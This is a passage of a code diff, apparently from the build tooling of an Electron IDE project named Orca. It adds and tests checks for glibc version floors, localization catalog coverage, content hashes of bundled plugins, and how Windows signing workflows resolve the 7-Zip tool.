expect(imported.has('__cxa_finalize')).toBe(true)
|
||||
expect(imported.has('defined_symbol')).toBe(false) // not *UND*
|
||||
})
|
||||
|
||||
it('flags a binary that imports openpty/forkpty without libutil.so.1 in DT_NEEDED', () => {
|
||||
const importsPty = new Set(['openpty', 'forkpty', 'free'])
|
||||
// Missing libutil.so.1 -> the pinned symbols would not resolve on the floor.
|
||||
expect(
|
||||
findMissingProviderDeps(importsPty, new Set(['libc.so.6'])).map((m) => m.symbol)
|
||||
).toEqual(['openpty', 'forkpty'])
|
||||
// With libutil.so.1 present, no violation.
|
||||
expect(findMissingProviderDeps(importsPty, new Set(['libc.so.6', 'libutil.so.1']))).toEqual([])
|
||||
// A binary that doesn't import the relocated symbols is never flagged.
|
||||
expect(findMissingProviderDeps(new Set(['free']), new Set(['libc.so.6']))).toEqual([])
|
||||
})
|
||||
})
|
||||
|
||||
describe('collectNativeBinaries', () => {
|
||||
it('collects only ELF .node/.so/executable files, skipping non-ELF and symlinks', async () => {
|
||||
const root = await mkdtemp(join(tmpdir(), 'orca-glibc-collect-'))
|
||||
try {
|
||||
await mkdir(join(root, 'nested'), { recursive: true })
|
||||
await writeFile(join(root, 'addon.node'), ELF_HEADER)
|
||||
await writeFile(join(root, 'nested', 'lib.so'), ELF_HEADER)
|
||||
await writeFile(join(root, 'nested', 'lib.so.1'), ELF_HEADER)
|
||||
await writeFile(join(root, 'orca-ide'), ELF_HEADER) // extensionless executable
|
||||
await writeFile(join(root, 'script.js'), ELF_HEADER) // has extension, not native
|
||||
await writeFile(join(root, 'text.node'), 'not an elf file') // native name, non-ELF
|
||||
await writeFile(join(root, 'notes.md'), ELF_HEADER)
|
||||
try {
|
||||
await symlink(join(root, 'addon.node'), join(root, 'alias.node'))
|
||||
} catch {
|
||||
// Symlink creation can be restricted; the rest of the assertions still hold.
|
||||
}
|
||||
|
||||
const found = collectNativeBinaries(root).map((p) => p.slice(root.length + 1))
|
||||
expect(found).toContain('addon.node')
|
||||
expect(found).toContain(join('nested', 'lib.so'))
|
||||
expect(found).toContain(join('nested', 'lib.so.1'))
|
||||
expect(found).toContain('orca-ide')
|
||||
expect(found).not.toContain('script.js')
|
||||
expect(found).not.toContain('text.node')
|
||||
expect(found).not.toContain('notes.md')
|
||||
expect(found).not.toContain('alias.node')
|
||||
} finally {
|
||||
await rm(root, { recursive: true, force: true })
|
||||
}
|
||||
})
|
||||
})
|
||||
|
||||
describe.skipIf(process.platform === 'win32')('verifyLinuxGlibcFloor', () => {
|
||||
// A stub objdump keyed on the inspected file's basename. Handles `-p` (Dynamic
|
||||
// Section DT_NEEDED + Version References) and `-T` (undefined symbols).
|
||||
// `*fail*` exits non-zero (fail-closed branch); `*noutil*` omits libutil.so.1
|
||||
// from DT_NEEDED; `*pty*` imports openpty. Match on basename only so the
|
||||
// (random) temp-dir path cannot collide.
|
||||
async function writeStubObjdump(dir) {
|
||||
const stubPath = join(dir, 'objdump-stub.sh')
|
||||
await writeFile(
|
||||
stubPath,
|
||||
[
|
||||
'#!/bin/sh',
|
||||
'if [ "$1" = "--version" ]; then echo "GNU objdump (stub)"; exit 0; fi',
|
||||
'f=$(basename "$2")',
|
||||
'case "$f" in',
|
||||
' *fail*) echo "objdump: $f: File format not recognized" >&2; exit 1 ;;',
|
||||
'esac',
|
||||
'if [ "$1" = "-T" ]; then',
|
||||
' case "$f" in',
|
||||
' *pty*) printf "0000 DF *UND* 0000 (GLIBC_2.2.5) openpty\\n" ;;',
|
||||
' esac',
|
||||
' exit 0',
|
||||
'fi',
|
||||
'printf "Dynamic Section:\\n NEEDED libc.so.6\\n"',
|
||||
'case "$f" in',
|
||||
' *noutil*) : ;;',
|
||||
' *) printf " NEEDED libutil.so.1\\n NEEDED libpthread.so.0\\n" ;;',
|
||||
'esac',
|
||||
'printf "\\nVersion References:\\n required from libc.so.6:\\n"',
|
||||
'case "$f" in',
|
||||
' *bad*) printf " 0x0 0x00 03 GLIBC_2.34\\n 0x0 0x00 04 GLIBC_2.2.5\\n" ;;',
|
||||
' *relr*) printf " 0x0 0x00 05 GLIBC_ABI_DT_RELR\\n 0x0 0x00 04 GLIBC_2.2.5\\n" ;;',
|
||||
' *weakonly*) printf " 0x0 0x02 06 GLIBC_2.32\\n 0x0 0x00 04 GLIBC_2.2.5\\n" ;;',
|
||||
' *cxx*|*sherpa*)',
|
||||
' printf " required from libstdc++.so.6:\\n 0x0 0x00 07 GLIBCXX_3.4.29\\n" ;;',
|
||||
' *) printf " 0x0 0x00 08 GLIBC_2.28\\n 0x0 0x00 04 GLIBC_2.2.5\\n" ;;',
|
||||
'esac',
|
||||
'exit 0'
|
||||
].join('\n'),
|
||||
{ mode: 0o755 }
|
||||
)
|
||||
return stubPath
|
||||
}
|
||||
|
||||
it('throws listing binaries over the floor (glibc, DT_RELR marker, and libstdc++)', async () => {
|
||||
const root = await mkdtemp(join(tmpdir(), 'orca-glibc-over-'))
|
||||
try {
|
||||
const objdumpPath = await writeStubObjdump(root)
|
||||
await mkdir(join(root, 'app', 'resources'), { recursive: true })
|
||||
await writeFile(join(root, 'app', 'resources', 'bad-pty.node'), ELF_HEADER)
|
||||
await writeFile(join(root, 'app', 'relr-exe.node'), ELF_HEADER)
|
||||
await writeFile(join(root, 'app', 'cxx-addon.node'), ELF_HEADER) // launch-critical GLIBCXX_3.4.29
|
||||
await writeFile(join(root, 'app', 'good.so'), ELF_HEADER)
|
||||
|
||||
let error
|
||||
try {
|
||||
verifyLinuxGlibcFloor(join(root, 'app'), { objdumpPath })
|
||||
} catch (e) {
|
||||
error = e
|
||||
}
|
||||
expect(error).toBeDefined()
|
||||
expect(error.message).toMatch(/bad-pty\.node needs GLIBC_2\.34/)
|
||||
expect(error.message).toMatch(/relr-exe\.node needs GLIBC_ABI_DT_RELR/)
|
||||
expect(error.message).toMatch(/cxx-addon\.node needs GLIBCXX_3\.4\.29/)
|
||||
} finally {
|
||||
await rm(root, { recursive: true, force: true })
|
||||
}
|
||||
})
|
||||
|
||||
it('throws when a pinned binary imports openpty without libutil.so.1 in DT_NEEDED', async () => {
|
||||
const root = await mkdtemp(join(tmpdir(), 'orca-glibc-noutil-'))
|
||||
try {
|
||||
const objdumpPath = await writeStubObjdump(root)
|
||||
await mkdir(join(root, 'app'), { recursive: true })
|
||||
// Below the version floor (so the version check passes) but libutil.so.1
|
||||
// is missing from DT_NEEDED — openpty would not resolve on Ubuntu 20.04.
|
||||
await writeFile(join(root, 'app', 'noutil-pty.node'), ELF_HEADER)
|
||||
|
||||
expect(() => verifyLinuxGlibcFloor(join(root, 'app'), { objdumpPath })).toThrow(
|
||||
/noutil-pty\.node imports openpty but libutil\.so\.1 is not in DT_NEEDED/
|
||||
)
|
||||
} finally {
|
||||
await rm(root, { recursive: true, force: true })
|
||||
}
|
||||
})
|
||||
|
||||
it('passes weak/at-floor needs and the exempt sherpa-onnx libstdc++ prebuilt', async () => {
|
||||
const root = await mkdtemp(join(tmpdir(), 'orca-glibc-under-'))
|
||||
try {
|
||||
const objdumpPath = await writeStubObjdump(root)
|
||||
const sherpaDir = join(root, 'app', 'node_modules', 'sherpa-onnx-linux-x64')
|
||||
await mkdir(sherpaDir, { recursive: true })
|
||||
await writeFile(join(root, 'app', 'good-pty.node'), ELF_HEADER)
|
||||
await writeFile(join(root, 'app', 'weakonly-lib.so'), ELF_HEADER) // weak GLIBC_2.32 → OK
|
||||
await writeFile(join(root, 'app', 'orca-ide'), ELF_HEADER)
|
||||
await writeFile(join(sherpaDir, 'sherpa-onnx.node'), ELF_HEADER) // GLIBCXX_3.4.29, exempt
|
||||
|
||||
expect(() => verifyLinuxGlibcFloor(join(root, 'app'), { objdumpPath })).not.toThrow()
|
||||
} finally {
|
||||
await rm(root, { recursive: true, force: true })
|
||||
}
|
||||
})
|
||||
|
||||
it('fails closed when objdump cannot read a binary (non-zero exit)', async () => {
|
||||
const root = await mkdtemp(join(tmpdir(), 'orca-glibc-closed-'))
|
||||
try {
|
||||
const objdumpPath = await writeStubObjdump(root)
|
||||
await mkdir(join(root, 'app'), { recursive: true })
|
||||
await writeFile(join(root, 'app', 'unreadable-fail.node'), ELF_HEADER)
|
||||
|
||||
expect(() => verifyLinuxGlibcFloor(join(root, 'app'), { objdumpPath })).toThrow(
|
||||
/objdump -p failed/
|
||||
)
|
||||
} finally {
|
||||
await rm(root, { recursive: true, force: true })
|
||||
}
|
||||
})
|
||||
|
||||
it('is a no-op (no objdump needed) when there are no native binaries', async () => {
|
||||
const root = await mkdtemp(join(tmpdir(), 'orca-glibc-empty-'))
|
||||
try {
|
||||
await mkdir(join(root, 'app'), { recursive: true })
|
||||
await writeFile(join(root, 'app', 'readme.txt'), 'no binaries here')
|
||||
expect(() =>
|
||||
verifyLinuxGlibcFloor(join(root, 'app'), { objdumpPath: '/nonexistent/objdump' })
|
||||
).not.toThrow()
|
||||
} finally {
|
||||
await rm(root, { recursive: true, force: true })
|
||||
}
|
||||
})
|
||||
})
|
||||
@@ -385,15 +385,79 @@ function verifyLocaleParity(enCatalog, localeName, localeCatalog) {
|
||||
}
|
||||
|
||||
function parseArgs(argv) {
|
||||
return {
|
||||
fix: argv.includes('--fix')
|
||||
const pluginCatalogs = []
|
||||
for (let index = 0; index < argv.length; index += 1) {
|
||||
const argument = argv[index]
|
||||
if (argument === '--plugin-catalog') {
|
||||
const catalogPath = argv[index + 1]
|
||||
if (!catalogPath || catalogPath.startsWith('--')) {
|
||||
throw new Error('--plugin-catalog requires a JSON catalog path')
|
||||
}
|
||||
pluginCatalogs.push(catalogPath)
|
||||
index += 1
|
||||
} else if (argument.startsWith('--plugin-catalog=')) {
|
||||
pluginCatalogs.push(argument.slice('--plugin-catalog='.length))
|
||||
}
|
||||
}
|
||||
return {
|
||||
fix: argv.includes('--fix'),
|
||||
pluginCatalogs
|
||||
}
|
||||
}
|
||||
|
||||
async function reportPluginCatalog(root, catalog, pluginCatalogPath) {
|
||||
const resolvedPath = path.resolve(root, pluginCatalogPath)
|
||||
let pluginCatalog
|
||||
try {
|
||||
pluginCatalog = JSON.parse(await fs.readFile(resolvedPath, 'utf8'))
|
||||
} catch (error) {
|
||||
console.error(
|
||||
`Could not read plugin catalog ${normalizePath(root, resolvedPath)}: ${error instanceof Error ? error.message : String(error)}`
|
||||
)
|
||||
return 1
|
||||
}
|
||||
const { enEntries, localeEntries, missingInLocale, extraInLocale, interpolationMismatches } =
|
||||
collectLocaleParityIssues(catalog, pluginCatalog)
|
||||
const translated = enEntries.size - missingInLocale.length - interpolationMismatches.length
|
||||
const coverage = enEntries.size === 0 ? 100 : (translated / enEntries.size) * 100
|
||||
console.log(
|
||||
`Plugin catalog ${normalizePath(root, resolvedPath)}: ${translated}/${enEntries.size} core keys (${coverage.toFixed(1)}% coverage), ${localeEntries.size} catalog entries.`
|
||||
)
|
||||
if (missingInLocale.length > 0) {
|
||||
console.log(formatMissingKeys('missing', missingInLocale.slice(0, 20)))
|
||||
if (missingInLocale.length > 20) {
|
||||
console.log(`...and ${missingInLocale.length - 20} more missing keys`)
|
||||
}
|
||||
}
|
||||
if (extraInLocale.length > 0) {
|
||||
console.log(formatMissingKeys('extra', extraInLocale.slice(0, 20)))
|
||||
}
|
||||
if (interpolationMismatches.length > 0) {
|
||||
console.log(formatMissingKeys('interpolation mismatch', interpolationMismatches.slice(0, 20)))
|
||||
}
|
||||
// Why: absent plugin translations safely fall back to English, but a present
|
||||
// value with different variables can render broken or misleading UI.
|
||||
return interpolationMismatches.length > 0 ? 1 : 0
|
||||
}
|
||||
|
||||
export async function main(root = process.cwd(), options = parseArgs(process.argv.slice(2))) {
|
||||
const localesDir = path.join(root, LOCALES_RELATIVE_DIR)
|
||||
const catalogPath = path.join(localesDir, 'en.json')
|
||||
const catalog = JSON.parse(await fs.readFile(catalogPath, 'utf8'))
|
||||
const pluginCatalogs = options.pluginCatalogs ?? []
|
||||
if (pluginCatalogs.length > 0) {
|
||||
if (options.fix) {
|
||||
console.error('--fix cannot be combined with --plugin-catalog')
|
||||
return 1
|
||||
}
|
||||
for (const pluginCatalogPath of pluginCatalogs) {
|
||||
const result = await reportPluginCatalog(root, catalog, pluginCatalogPath)
|
||||
if (result !== 0) {
|
||||
return result
|
||||
}
|
||||
}
|
||||
return 0
|
||||
}
|
||||
let catalogKeys = new Set(flattenCatalogKeys(catalog))
|
||||
const sourceRoots = SOURCE_RELATIVE_ROOTS.map((sourceRoot) => path.join(root, sourceRoot))
|
||||
const references = []
|
||||
|
||||
@@ -2,7 +2,7 @@ import { mkdirSync, mkdtempSync, readFileSync, writeFileSync } from 'node:fs'
|
||||
import { tmpdir } from 'node:os'
|
||||
import path from 'node:path'
|
||||
|
||||
import { describe, expect, it } from 'vitest'
|
||||
import { describe, expect, it, vi } from 'vitest'
|
||||
|
||||
import { main as verifyLocalizationCatalog } from './verify-localization-catalog.mjs'
|
||||
|
||||
@@ -79,4 +79,34 @@ describe('verify-localization-catalog', () => {
|
||||
await expect(verifyLocalizationCatalog(root, { fix: true })).resolves.toBe(1)
|
||||
expect(readJson(path.join(localesDir, 'en.json'))).toEqual({})
|
||||
})
|
||||
|
||||
it('reports partial plugin catalog gaps but rejects malformed interpolation', async () => {
|
||||
const { root } = makeProject({
|
||||
sourceText: 'export {}\n',
|
||||
enCatalog: {
|
||||
auto: { first: 'First {{name}}', second: 'Second' }
|
||||
},
|
||||
esCatalog: {
|
||||
auto: { first: 'Primero {{name}}', second: 'Segundo' }
|
||||
}
|
||||
})
|
||||
const pluginCatalogPath = path.join(root, 'plugin-locale.json')
|
||||
writeJson(pluginCatalogPath, {
|
||||
auto: { first: 'Primeiro {{wrongName}}', pluginOnly: 'Plugin only' }
|
||||
})
|
||||
const report = vi.spyOn(console, 'log').mockImplementation(() => undefined)
|
||||
|
||||
try {
|
||||
await expect(
|
||||
verifyLocalizationCatalog(root, {
|
||||
fix: false,
|
||||
pluginCatalogs: [pluginCatalogPath]
|
||||
})
|
||||
).resolves.toBe(1)
|
||||
expect(report).toHaveBeenCalledWith(expect.stringContaining('0/2 core keys'))
|
||||
expect(report).toHaveBeenCalledWith(expect.stringContaining('interpolation mismatch'))
|
||||
} finally {
|
||||
report.mockRestore()
|
||||
}
|
||||
})
|
||||
})
|
||||
|
||||
@@ -0,0 +1,111 @@
|
||||
const { createHash } = require('node:crypto')
|
||||
const { lstatSync, readFileSync, readdirSync, statSync } = require('node:fs')
|
||||
const { isAbsolute, join, relative, resolve, sep } = require('node:path')
|
||||
|
||||
const MAX_PLUGIN_FILES = 2_000
|
||||
const MAX_PLUGIN_TOTAL_BYTES = 50 * 1024 * 1024
|
||||
|
||||
function hashLength(hash, length) {
|
||||
const framedLength = Buffer.allocUnsafe(8)
|
||||
framedLength.writeBigUInt64BE(BigInt(length))
|
||||
hash.update(framedLength)
|
||||
}
|
||||
|
||||
function hashPackagedPluginTree(root) {
|
||||
const files = []
|
||||
let entriesVisited = 0
|
||||
let totalBytes = 0
|
||||
const visit = (directory) => {
|
||||
const entries = readdirSync(directory, { withFileTypes: true }).sort((left, right) =>
|
||||
left.name < right.name ? -1 : left.name > right.name ? 1 : 0
|
||||
)
|
||||
for (const entry of entries) {
|
||||
if (directory === root && entry.name === '.git') {
|
||||
continue
|
||||
}
|
||||
const entryPath = join(directory, entry.name)
|
||||
const metadata = lstatSync(entryPath)
|
||||
entriesVisited += 1
|
||||
if (entriesVisited > MAX_PLUGIN_FILES) {
|
||||
throw new Error(`plugin exceeds the ${MAX_PLUGIN_FILES}-entry limit`)
|
||||
}
|
||||
if (metadata.isSymbolicLink()) {
|
||||
throw new Error(`packaged plugin contains a symlink: ${relative(root, entryPath)}`)
|
||||
}
|
||||
if (metadata.isDirectory()) {
|
||||
visit(entryPath)
|
||||
} else if (metadata.isFile()) {
|
||||
totalBytes += metadata.size
|
||||
if (totalBytes > MAX_PLUGIN_TOTAL_BYTES) {
|
||||
throw new Error(`plugin exceeds the ${MAX_PLUGIN_TOTAL_BYTES}-byte limit`)
|
||||
}
|
||||
files.push({ path: entryPath, size: metadata.size })
|
||||
} else {
|
||||
throw new Error(`packaged plugin contains an unsupported entry: ${entryPath}`)
|
||||
}
|
||||
}
|
||||
}
|
||||
visit(root)
|
||||
const hash = createHash('sha256').update('orca-plugin-tree-v1\0')
|
||||
for (const file of files) {
|
||||
const relativePath = relative(root, file.path).replaceAll('\\', '/')
|
||||
hashLength(hash, Buffer.byteLength(relativePath, 'utf8'))
|
||||
hash.update(relativePath, 'utf8')
|
||||
hashLength(hash, file.size)
|
||||
hash.update(readFileSync(file.path))
|
||||
}
|
||||
return hash.digest('hex')
|
||||
}
|
||||
|
||||
function readJsonFile(path, label) {
|
||||
try {
|
||||
return JSON.parse(readFileSync(path, 'utf8'))
|
||||
} catch (error) {
|
||||
throw new Error(
|
||||
`[verify-packaged-plugin-resources] invalid ${label} at ${path}: ${error instanceof Error ? error.message : String(error)}`
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
function verifyPackagedPluginResources(resourcesDir) {
|
||||
const launchRoot = join(resourcesDir, 'plugins', 'launch')
|
||||
if (!statSync(launchRoot).isDirectory()) {
|
||||
throw new Error(`[verify-packaged-plugin-resources] missing launch directory at ${launchRoot}`)
|
||||
}
|
||||
const index = readJsonFile(join(launchRoot, 'bundled-plugins.json'), 'bundled plugin index')
|
||||
readJsonFile(join(launchRoot, 'orca-marketplace.json'), 'marketplace index')
|
||||
if (index?.version !== 1 || !Array.isArray(index.plugins) || index.plugins.length === 0) {
|
||||
throw new Error('[verify-packaged-plugin-resources] bundled plugin index is empty or invalid')
|
||||
}
|
||||
const resolvedRoot = resolve(launchRoot)
|
||||
for (const entry of index.plugins) {
|
||||
if (
|
||||
typeof entry?.pluginKey !== 'string' ||
|
||||
typeof entry.path !== 'string' ||
|
||||
!/^[0-9a-f]{64}$/.test(entry.contentHash)
|
||||
) {
|
||||
throw new Error('[verify-packaged-plugin-resources] bundled plugin entry is invalid')
|
||||
}
|
||||
const pluginRoot = resolve(launchRoot, entry.path)
|
||||
const fromRoot = relative(resolvedRoot, pluginRoot)
|
||||
if (!fromRoot || fromRoot === '..' || fromRoot.startsWith(`..${sep}`) || isAbsolute(fromRoot)) {
|
||||
throw new Error('[verify-packaged-plugin-resources] bundled plugin path escapes launch root')
|
||||
}
|
||||
const manifest = readJsonFile(join(pluginRoot, 'orca-plugin.json'), 'plugin manifest')
|
||||
if (`${manifest.publisher}.${manifest.id}` !== entry.pluginKey) {
|
||||
throw new Error(
|
||||
`[verify-packaged-plugin-resources] manifest identity does not match ${entry.pluginKey}`
|
||||
)
|
||||
}
|
||||
if (hashPackagedPluginTree(pluginRoot) !== entry.contentHash) {
|
||||
throw new Error(
|
||||
`[verify-packaged-plugin-resources] packaged bytes do not match ${entry.pluginKey}`
|
||||
)
|
||||
}
|
||||
}
|
||||
console.log(
|
||||
`[verify-packaged-plugin-resources] OK — verified ${index.plugins.length} bundled plugin(s)`
|
||||
)
|
||||
}
|
||||
|
||||
module.exports = { verifyPackagedPluginResources }
|
||||
@@ -0,0 +1,77 @@
|
||||
import { cp, mkdtemp, readFile, readdir, rm, stat, writeFile } from 'node:fs/promises'
|
||||
import { createRequire } from 'node:module'
|
||||
import { tmpdir } from 'node:os'
|
||||
import { join } from 'node:path'
|
||||
import { describe, expect, it } from 'vitest'
|
||||
|
||||
const require = createRequire(import.meta.url)
|
||||
const { verifyPackagedPluginResources } = require('./verify-packaged-plugin-resources.cjs')
|
||||
|
||||
describe('verify packaged plugin resources', () => {
|
||||
it('accepts exact launch bytes copied into a packaged resources directory', async () => {
|
||||
const resourcesDir = await mkdtemp(join(tmpdir(), 'orca-packaged-plugins-'))
|
||||
try {
|
||||
await cp(
|
||||
join(process.cwd(), 'resources', 'plugins', 'launch'),
|
||||
join(resourcesDir, 'plugins', 'launch'),
|
||||
{ recursive: true }
|
||||
)
|
||||
|
||||
expect(() => verifyPackagedPluginResources(resourcesDir)).not.toThrow()
|
||||
} finally {
|
||||
await rm(resourcesDir, { recursive: true, force: true })
|
||||
}
|
||||
})
|
||||
|
||||
it('rejects mutated bytes in the packaged output', async () => {
|
||||
const resourcesDir = await mkdtemp(join(tmpdir(), 'orca-packaged-plugins-'))
|
||||
try {
|
||||
const launchRoot = join(resourcesDir, 'plugins', 'launch')
|
||||
await cp(join(process.cwd(), 'resources', 'plugins', 'launch'), launchRoot, {
|
||||
recursive: true
|
||||
})
|
||||
await writeFile(
|
||||
join(launchRoot, 'stablyai.orca-navigation-shortcuts', 'extra.json'),
|
||||
'{"mutated":true}\n'
|
||||
)
|
||||
|
||||
expect(() => verifyPackagedPluginResources(resourcesDir)).toThrow(
|
||||
'packaged bytes do not match stablyai.orca-navigation-shortcuts'
|
||||
)
|
||||
} finally {
|
||||
await rm(resourcesDir, { recursive: true, force: true })
|
||||
}
|
||||
})
|
||||
|
||||
// The tree is hashed by raw bytes, so a CRLF checkout on Windows breaks the
|
||||
// pinned hash. These two guard the `.gitattributes` eol=lf pin that prevents it.
|
||||
it('pins the launch tree to LF so Windows checkouts hash identically', async () => {
|
||||
const attributes = await readFile(join(process.cwd(), '.gitattributes'), 'utf8')
|
||||
expect(attributes).toContain('/resources/plugins/** text eol=lf')
|
||||
})
|
||||
|
||||
it('rejects a CRLF checkout of the launch tree', async () => {
|
||||
const resourcesDir = await mkdtemp(join(tmpdir(), 'orca-packaged-plugins-'))
|
||||
try {
|
||||
const launchRoot = join(resourcesDir, 'plugins', 'launch')
|
||||
await cp(join(process.cwd(), 'resources', 'plugins', 'launch'), launchRoot, {
|
||||
recursive: true
|
||||
})
|
||||
for (const entry of await readdir(launchRoot, { recursive: true })) {
|
||||
const path = join(launchRoot, entry)
|
||||
if (!(await stat(path)).isFile()) {
|
||||
continue
|
||||
}
|
||||
await writeFile(path, (await readFile(path, 'utf8')).replace(/\r?\n/g, '\r\n'))
|
||||
}
|
||||
|
||||
// Every file is rewritten, so the first mismatch is whichever plugin sorts
|
||||
// first — don't pin a name a later branch can reorder.
|
||||
expect(() => verifyPackagedPluginResources(resourcesDir)).toThrow(
|
||||
/packaged bytes do not match stablyai\./
|
||||
)
|
||||
} finally {
|
||||
await rm(resourcesDir, { recursive: true, force: true })
|
||||
}
|
||||
})
|
||||
})
|
||||
@@ -0,0 +1,306 @@
|
||||
import { readFileSync } from 'node:fs'
|
||||
import { join, resolve } from 'node:path'
|
||||
import { describe, expect, it } from 'vitest'
|
||||
|
||||
// Why: the inner-binary signing gate silently degraded for four releases because it
|
||||
// shelled out to a hardcoded `node_modules/7zip-bin/...` path that electron-builder
|
||||
// 26.9+ no longer installs. Pin both workflows to the resolver instead (#6487).
|
||||
|
||||
const workflowsDir = resolve(import.meta.dirname, '../..', '.github', 'workflows')
|
||||
|
||||
const GATED_WORKFLOWS = ['release-cut.yml', 'windows-signing-rehearsal.yml']
|
||||
|
||||
function workflowSource(name) {
|
||||
return readFileSync(join(workflowsDir, name), 'utf8')
|
||||
}
|
||||
|
||||
// Why a scanner and not a regex: PowerShell gates here contain braces inside
|
||||
// strings (`"{0,-14} {1} <{2}>" -f ...`) and inside comments, so naive brace
|
||||
// counting mis-pairs and every scope assertion below silently degrades into
|
||||
// "some text appears somewhere in the file". The same walk also lets assertions
|
||||
// distinguish a keyword the shell executes from the same word sitting in a
|
||||
// message string — downgrading `throw` to `Write-Host "...would throw..."`
|
||||
// otherwise passes a `/\bthrow\b/` check while restoring the silent fail-open.
|
||||
|
||||
/** `source` split into `{start, end, kind}` spans, kind being 'code' | 'string' | 'comment'. */
|
||||
function scanSpans(source) {
|
||||
// Here-strings use different terminator rules; refusing them beats mis-pairing silently.
|
||||
expect(source, 'here-strings are not understood by this scanner').not.toMatch(/@['"]/)
|
||||
const spans = []
|
||||
let i = 0
|
||||
while (i < source.length) {
|
||||
const char = source[i]
|
||||
if (char === '#') {
|
||||
const newline = source.indexOf('\n', i)
|
||||
const end = newline === -1 ? source.length : newline
|
||||
spans.push({ start: i, end, kind: 'comment' })
|
||||
i = end
|
||||
continue
|
||||
}
|
||||
if (char === "'") {
|
||||
let end = i + 1
|
||||
while (end < source.length) {
|
||||
if (source[end] !== "'") {
|
||||
end += 1
|
||||
} else if (source[end + 1] === "'") {
|
||||
end += 2 // doubled '' escapes a quote rather than closing the string
|
||||
} else {
|
||||
break
|
||||
}
|
||||
}
|
||||
end = Math.min(end + 1, source.length)
|
||||
spans.push({ start: i, end, kind: 'string' })
|
||||
i = end
|
||||
continue
|
||||
}
|
||||
if (char === '"') {
|
||||
let end = i + 1
|
||||
while (end < source.length && source[end] !== '"') {
|
||||
end += source[end] === '`' ? 2 : 1
|
||||
}
|
||||
end = Math.min(end + 1, source.length)
|
||||
spans.push({ start: i, end, kind: 'string' })
|
||||
i = end
|
||||
continue
|
||||
}
|
||||
let end = i
|
||||
while (end < source.length && !'#\'"'.includes(source[end])) {
|
||||
end += 1
|
||||
}
|
||||
spans.push({ start: i, end, kind: 'code' })
|
||||
i = end
|
||||
}
|
||||
return spans
|
||||
}
|
||||
|
||||
/** `source` with the named span kinds blanked to spaces — same length, so indices still line up. */
|
||||
function blank(source, spans, kinds) {
|
||||
const chars = source.split('')
|
||||
for (const span of spans) {
|
||||
if (!kinds.includes(span.kind)) {
|
||||
continue
|
||||
}
|
||||
for (let i = span.start; i < span.end; i += 1) {
|
||||
if (chars[i] !== '\n') {
|
||||
chars[i] = ' '
|
||||
}
|
||||
}
|
||||
}
|
||||
return chars.join('')
|
||||
}
|
||||
|
||||
/** `source` with comments blanked — for assertions whose subject is a literal the gate prints. */
|
||||
function withoutComments(source) {
|
||||
return blank(source, scanSpans(source), ['comment'])
|
||||
}
|
||||
|
||||
/** `source` with strings and comments blanked — for assertions about executed statements. */
|
||||
function codeOf(source) {
|
||||
return blank(source, scanSpans(source), ['string', 'comment'])
|
||||
}
|
||||
|
||||
/**
|
||||
* The `{ ... }` block opening after `marker`. `code` has strings and comments blanked, so a
|
||||
* keyword assertion against it can only be satisfied by a keyword the shell would execute;
|
||||
* `text` keeps strings but drops comments, for assertions about literals the gate emits.
|
||||
*/
|
||||
function blockAfter(source, marker, from = 0) {
|
||||
const spans = scanSpans(source)
|
||||
const code = blank(source, spans, ['string', 'comment'])
|
||||
const markerIndex = code.indexOf(marker, from)
|
||||
expect(markerIndex, `missing marker: ${marker}`).toBeGreaterThan(-1)
|
||||
const start = code.indexOf('{', markerIndex)
|
||||
expect(start, `no block opens after: ${marker}`).toBeGreaterThan(-1)
|
||||
let depth = 0
|
||||
let end = -1
|
||||
for (let i = start; i < source.length && end === -1; i += 1) {
|
||||
if (code[i] === '{') {
|
||||
depth += 1
|
||||
} else if (code[i] === '}') {
|
||||
depth -= 1
|
||||
if (depth === 0) {
|
||||
end = i
|
||||
}
|
||||
}
|
||||
}
|
||||
expect(end, `unbalanced block after: ${marker}`).toBeGreaterThan(-1)
|
||||
return {
|
||||
start,
|
||||
end,
|
||||
code: code.slice(start, end + 1),
|
||||
text: blank(source, spans, ['comment']).slice(start, end + 1)
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* The innermost `{ ... }` block enclosing `marker`, plus the keyword introducing it.
|
||||
* Needed where the anchor is the block's *contents*: `blockAfter(step, '} catch {')` picks
|
||||
* whichever catch comes first in the file, which stopped being the gate's own once the
|
||||
* persistence helpers grew their own try/catch.
|
||||
*/
|
||||
function blockEnclosing(source, marker) {
|
||||
const spans = scanSpans(source)
|
||||
const code = blank(source, spans, ['string', 'comment'])
|
||||
// Located in the comment-stripped text (the marker may include a string literal),
|
||||
// then paired in `code`; both blankings preserve length, so indices line up.
|
||||
const markerIndex = blank(source, spans, ['comment']).indexOf(marker)
|
||||
expect(markerIndex, `missing marker: ${marker}`).toBeGreaterThan(-1)
|
||||
let depth = 0
|
||||
let end = -1
|
||||
for (let i = markerIndex; i < code.length && end === -1; i += 1) {
|
||||
if (code[i] === '{') {
|
||||
depth += 1
|
||||
} else if (code[i] === '}') {
|
||||
if (depth === 0) {
|
||||
end = i
|
||||
} else {
|
||||
depth -= 1
|
||||
}
|
||||
}
|
||||
}
|
||||
depth = 0
|
||||
let start = -1
|
||||
for (let i = markerIndex; i >= 0 && start === -1; i -= 1) {
|
||||
if (code[i] === '}') {
|
||||
depth += 1
|
||||
} else if (code[i] === '{') {
|
||||
if (depth === 0) {
|
||||
start = i
|
||||
} else {
|
||||
depth -= 1
|
||||
}
|
||||
}
|
||||
}
|
||||
expect(start, `no block encloses: ${marker}`).toBeGreaterThan(-1)
|
||||
expect(end, `no block encloses: ${marker}`).toBeGreaterThan(-1)
|
||||
return { start, end, keyword: code.slice(0, start).trimEnd().split(/\s+/).pop() }
|
||||
}
|
||||
|
||||
describe('Windows signing gates resolve 7za through the toolset resolver (#6487)', () => {
|
||||
for (const name of GATED_WORKFLOWS) {
|
||||
it(`${name} does not hardcode the removed 7zip-bin path`, () => {
|
||||
expect(workflowSource(name)).not.toContain('node_modules/7zip-bin')
|
||||
})
|
||||
|
||||
it(`${name} resolves 7za via resolve-7za-path.mjs`, () => {
|
||||
expect(workflowSource(name)).toContain('node config/scripts/resolve-7za-path.mjs')
|
||||
})
|
||||
|
||||
it(`${name} checks resolver failure before trimming its output`, () => {
|
||||
const source = workflowSource(name)
|
||||
const code = codeOf(source)
|
||||
const resolveIndex = code.indexOf('$7zaOutput = node config/scripts/resolve-7za-path.mjs')
|
||||
const exitCodeIndex = code.indexOf('$7zaExitCode = $LASTEXITCODE')
|
||||
const exitGuard = blockAfter(source, 'if ($7zaExitCode -ne 0)')
|
||||
const trimIndex = code.indexOf('$7za = ($7zaOutput | Out-String).Trim()')
|
||||
|
||||
expect(resolveIndex).toBeGreaterThan(-1)
|
